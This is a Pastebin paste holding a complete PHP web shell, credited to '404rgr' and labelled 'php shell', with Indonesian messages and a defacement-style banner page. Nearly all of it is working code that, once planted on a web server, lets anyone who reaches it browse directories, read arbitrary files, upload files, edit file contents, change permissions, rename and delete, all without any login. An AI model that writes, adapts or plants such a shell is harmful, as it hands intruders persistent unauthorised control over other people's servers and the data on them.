Advertisement
Guest User

Untitled

a guest
May 26th, 2019
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.65 KB | None | 0 0
  1. <?php
  2. // --- Create by 404rgr
  3. // --- php shell
  4.  
  5. set_time_limit(0);
  6. error_reporting(0);
  7.  
  8. if(get_magic_quotes_gpc()){
  9. foreach($_POST as $key=>$value){
  10. $_POST[$key] = stripslashes($value);
  11. }
  12. }
  13. echo '<!DOCTYPE HTML>
  14. <HTML>
  15. <HEAD>
  16. <link rel="SHORTCUT ICON" href="https://1.bp.blogspot.com/-iZllW3biOvc/XNC4-GKwmMI/AAAAAAAAAFI/HFqR3D3mDlo9RNEXZ1k6pix7PauFyKylQCLcBGAs/s1600/20190506_143734.png">
  17. <DIV align=center><IMG src="https://www.upload.ee/image/9976243/IMG-20190516-WA0435.jpg" width=250 height=250><br>
  18. <audio autoplay> <source src="http://www.soundescapestudios.com/SESAudio/SES%20Site%20Sounds/Beeps/Beeps-short-01.wav" type="audio/mpeg"></audio>
  19. <center><font color="red" face="Papyrus"><font color="#47FF0F" face="Papyrus"></font></footer></tr></table>
  20. </style>
  21. <link href="https://fonts.googleapis.com/css?family=Walter+Turncoat" rel="stylesheet">
  22. <title>Pausi Channel | 404rgr</title>
  23.  
  24. <style>
  25. body {
  26. background-color: #000000;
  27. font-family: Papyrus;
  28. background-color: #000000;
  29. text-shadow:0px 0px 1px #ffffff;
  30. }
  31. #content tr:hover{
  32. background-color: #ffffff;
  33. text-shadow:0px 0px 10px ##339900;
  34. }
  35. #content .first{
  36. background-color: #000000;
  37. }
  38. #content .first:hover{
  39. background-color: #ffffff;
  40. text-shadow:0px 0px 1px #339900;
  41. }
  42. table{
  43. border: 1px #ffffff dotted;
  44. }
  45. H1{
  46. font-family: Papyrus;
  47. }
  48. a{
  49. color: #ffffff;
  50. text-decoration: none;
  51. }
  52. a:hover{
  53. color: white;
  54. text-shadow:0px 0px 10px #339900;
  55. }
  56. input,select,textarea{
  57. border: 1px #ffffff solid;
  58. -moz-border-radius: 5px;
  59. -webkit-border-radius:5px;
  60. border-radius:5px;
  61. }
  62. </style>
  63. </HEAD>
  64. <BODY>
  65. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  66. <tr><td>files >> ';
  67. if(isset($_GET['path'])){
  68. $path = $_GET['path'];
  69. }else{
  70. $path = getcwd();
  71. }
  72. $path = str_replace('\\','/',$path);
  73. $paths = explode('/',$path);
  74.  
  75. foreach($paths as $id=>$pat){
  76. if($pat == '' && $id == 0){
  77. $a = true;
  78. echo '<a href="?path=/">/</a>';
  79. continue;
  80. }
  81. if($pat == '') continue;
  82. echo '<a href="?path=';
  83. for($i=0;$i<=$id;$i++){
  84. echo "$paths[$i]";
  85. if($i != $id) echo "/";
  86. }
  87. echo '">'.$pat.'</a>/';
  88. }
  89. echo '</td></tr><tr><td>';
  90. if(isset($_FILES['file'])){
  91. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  92. echo '<font color="#ffffff">upload berhasil!</font><br />';
  93. }else{
  94. echo '<font color="red">upload gagal!</font><br />';
  95. }
  96. }
  97. echo '<form enctype="multipart/form-data" method="POST">
  98. upload <input type="file" name="file" />
  99. <input type="submit" value="Upload" />
  100. </form>
  101. </td></tr>';
  102. if(isset($_GET['filesrc'])){
  103. echo "<tr><td>files >> ";
  104. echo $_GET['filesrc'];
  105. echo '</tr></td></table><br />';
  106. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  107. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  108. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  109. if($_POST['opt'] == 'chmod'){
  110. if(isset($_POST['perm'])){
  111. if(chmod($_POST['path'],$_POST['perm'])){
  112. echo '<font color="white">change permission berhasil!</font><br />';
  113. }else{
  114. echo '<font color="red">change permission gagal!</font><br />';
  115. }
  116. }
  117. echo '<form method="POST">
  118. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  119. <input type="hidden" name="path" value="'.$_POST['path'].'">
  120. <input type="hidden" name="opt" value="chmod">
  121. <input type="submit" value="Lanjut" />
  122. </form>';
  123. }elseif($_POST['opt'] == 'rename'){
  124. if(isset($_POST['newname'])){
  125. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  126. echo '<font color="white">change name berhasil!</font><br />';
  127. }else{
  128. echo '<font color="red">change name gagal!</font><br />';
  129. }
  130. $_POST['name'] = $_POST['newname'];
  131. }
  132. echo '<form method="POST">
  133. New Name : <input name="newname" type="text" size="3" value="'.$_POST['name'].'" />
  134. <input type="hidden" name="path" value="'.$_POST['path'].'">
  135. <input type="hidden" name="opt" value="rename">
  136. <input type="submit" value="Lanjut" />
  137. </form>';
  138. }elseif($_POST['opt'] == 'edit'){
  139. if(isset($_POST['src'])){
  140. $fp = fopen($_POST['path'],'w');
  141. if(fwrite($fp,$_POST['src'])){
  142. echo '<font color="white">edit berhasil!</font><br />';
  143. }else{
  144. echo '<font color="red">edit gagal bro</font><br />';
  145. }
  146. fclose($fp);
  147. }
  148. echo '<form method="POST">
  149. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  150. <input type="hidden" name="path" value="'.$_POST['path'].'">
  151. <input type="hidden" name="opt" value="edit">
  152. <input type="submit" value="Lanjut" />
  153. </form>';
  154. }
  155. echo '</center>';
  156. }else{
  157. echo '</table><br /><center>';
  158. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  159. if($_POST['type'] == 'dir'){
  160. if(rmdir($_POST['path'])){
  161. echo '<font color="white">delete berhasil!</font><br />';
  162. }else{
  163. echo '<font color="red">delete gagal!</font><br />';
  164. }
  165. }elseif($_POST['type'] == 'file'){
  166. if(unlink($_POST['path'])){
  167. echo '<font color="white">delete file berhasil!.</font><br />';
  168. }else{
  169. echo '<font color="red">delete file gagal!</font><br />';
  170. }
  171. }
  172. }
  173. echo '</center>';
  174. $scandir = scandir($path);
  175. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  176. <tr class="first">
  177. <td><center>Name</center></td>
  178. <td><center>Size</center></td>
  179. <td><center>Permissions</center></td>
  180. <td><center>Options</center></td>
  181. </tr>';
  182.  
  183. foreach($scandir as $dir){
  184. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  185. echo "<tr>
  186. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  187. <td><center>--</center></td>
  188. <td><center>";
  189. if(is_writable("$path/$dir")) echo '<font color="white">';
  190. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  191. echo perms("$path/$dir");
  192. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  193.  
  194. echo "</center></td>
  195. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  196. <select name=\"opt\">
  197. <option value=\"\"></option>
  198. <option value=\"delete\">Delete</option>
  199. <option value=\"chmod\">Chmod</option>
  200. <option value=\"rename\">Rename</option>
  201. </select>
  202. <input type=\"hidden\" name=\"type\" value=\"dir\">
  203. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  204. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  205. <input type=\"submit\" value=\">\" />
  206. </form></center></td>
  207. </tr>";
  208. }
  209. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  210. foreach($scandir as $file){
  211. if(!is_file("$path/$file")) continue;
  212. $size = filesize("$path/$file")/1024;
  213. $size = round($size,3);
  214. if($size >= 1024){
  215. $size = round($size/1024,2).' MB';
  216. }else{
  217. $size = $size.' KB';
  218. }
  219.  
  220. echo "<tr>
  221. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  222. <td><center>".$size."</center></td>
  223. <td><center>";
  224. if(is_writable("$path/$file")) echo '<font color="white">';
  225. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  226. echo perms("$path/$file");
  227. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  228. echo "</center></td>
  229. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  230. <select name=\"opt\">
  231. <option value=\"Action\">Action</option>
  232. <option value=\"delete\">Delete</option>
  233. <option value=\"chmod\">Chmod</option>
  234. <option value=\"rename\">Rename</option>
  235. <option value=\"edit\">Edit</option>
  236. </select>
  237. <input type=\"hidden\" name=\"type\" value=\"file\">
  238. <input type=\"hidden\" name=\"name\" value=\"$file\">
  239. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  240. <input type=\"submit\" value=\">\" />
  241. </form></center></td>
  242. </tr>";
  243. }
  244. echo '</table>
  245. </div>';
  246. }
  247. echo '
  248. </BODY>
  249. </HTML>';
  250. function perms($file){
  251. $perms = fileperms($file);
  252.  
  253. if (($perms & 0xC000) == 0xC000) {
  254. // Socket
  255. $info = 's';
  256. } elseif (($perms & 0xA000) == 0xA000) {
  257. // Symbolic Link
  258. $info = 'l';
  259. } elseif (($perms & 0x8000) == 0x8000) {
  260. // Regular
  261. $info = '-';
  262. } elseif (($perms & 0x6000) == 0x6000) {
  263. // Block special
  264. $info = 'b';
  265. } elseif (($perms & 0x4000) == 0x4000) {
  266. // Directory
  267. $info = 'd';
  268. } elseif (($perms & 0x2000) == 0x2000) {
  269. // Character special
  270. $info = 'c';
  271. } elseif (($perms & 0x1000) == 0x1000) {
  272. // FIFO pipe
  273. $info = 'p';
  274. } else {
  275. // Unknown
  276. $info = 'u';
  277. }
  278.  
  279. // Owner
  280. $info .= (($perms & 0x0100) ? 'r' : '-');
  281. $info .= (($perms & 0x0080) ? 'w' : '-');
  282. $info .= (($perms & 0x0040) ?
  283. (($perms & 0x0800) ? 's' : 'x' ) :
  284. (($perms & 0x0800) ? 'S' : '-'));
  285.  
  286. // Group
  287. $info .= (($perms & 0x0020) ? 'r' : '-');
  288. $info .= (($perms & 0x0010) ? 'w' : '-');
  289. $info .= (($perms & 0x0008) ?
  290. (($perms & 0x0400) ? 's' : 'x' ) :
  291. (($perms & 0x0400) ? 'S' : '-'));
  292.  
  293. // World
  294. $info .= (($perms & 0x0004) ? 'r' : '-');
  295. $info .= (($perms & 0x0002) ? 'w' : '-');
  296. $info .= (($perms & 0x0001) ?
  297. (($perms & 0x0200) ? 't' : 'x' ) :
  298. (($perms & 0x0200) ? 'T' : '-'));
  299.  
  300. return $info;
  301. }
  302. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement